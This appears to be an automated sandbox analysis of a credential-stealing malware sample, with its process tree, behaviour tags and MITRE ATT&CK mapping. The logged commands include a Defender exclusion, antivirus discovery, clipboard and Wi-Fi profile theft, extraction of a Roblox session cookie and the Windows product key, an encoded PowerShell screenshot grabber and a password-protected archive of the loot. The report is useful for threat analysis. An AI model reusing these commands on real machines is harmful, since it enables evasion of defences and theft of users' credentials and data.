      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:712
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:5076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4048
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5028
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2500
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:4052
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:3148
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2420
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jizzjnqb\jizzjnqb.cmdline"
        5⤵
        
        PID:2932
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CEE.tmp" "c:\Users\Admin\AppData\Local\Temp\jizzjnqb\CSCA5FA8D8792EE4741948EA6D71510BA58.TMP"
        6⤵
        
        PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2156
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:3932
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:556
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:2952
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:3204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5084
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3284
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1656
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2012
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4540
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3684
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI40562\rar.exe a -r -hp"UHSIGMA" "C:\Users\Admin\AppData\Local\Temp\brqqf.zip" *"
    3⤵
    PID:1864
  - - C:\Users\Admin\AppData\Local\Temp\_MEI40562\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI40562\rar.exe a -r -hp"UHSIGMA" "C:\Users\Admin\AppData\Local\Temp\brqqf.zip" *
      4⤵
      Executes dropped EXE
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3424
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:980
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:1676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2372
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2364
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:4220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2004

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff160dcc40,0x7fff160dcc4c,0x7fff160dcc58
  2⤵
  PID:3608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1932,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1928 /prefetch:2
  2⤵
  PID:3412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1696,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1960 /prefetch:3
  2⤵
  PID:3848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2200,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2216 /prefetch:8
  2⤵
  PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3088,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3112 /prefetch:1
  2⤵
  PID:2448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3356,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:4052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4484,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4500 /prefetch:1
  2⤵
  PID:404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4912,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4712 /prefetch:8
  2⤵
  PID:3032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4652,i,5114115715260215327,16454591818906104040,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4680 /prefetch:8
  2⤵
  PID:2628

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4272

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:3532

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4148

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:4048
- C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
  python
  2⤵
  PID:2968
- C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
  python
  2⤵
  PID:2172

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

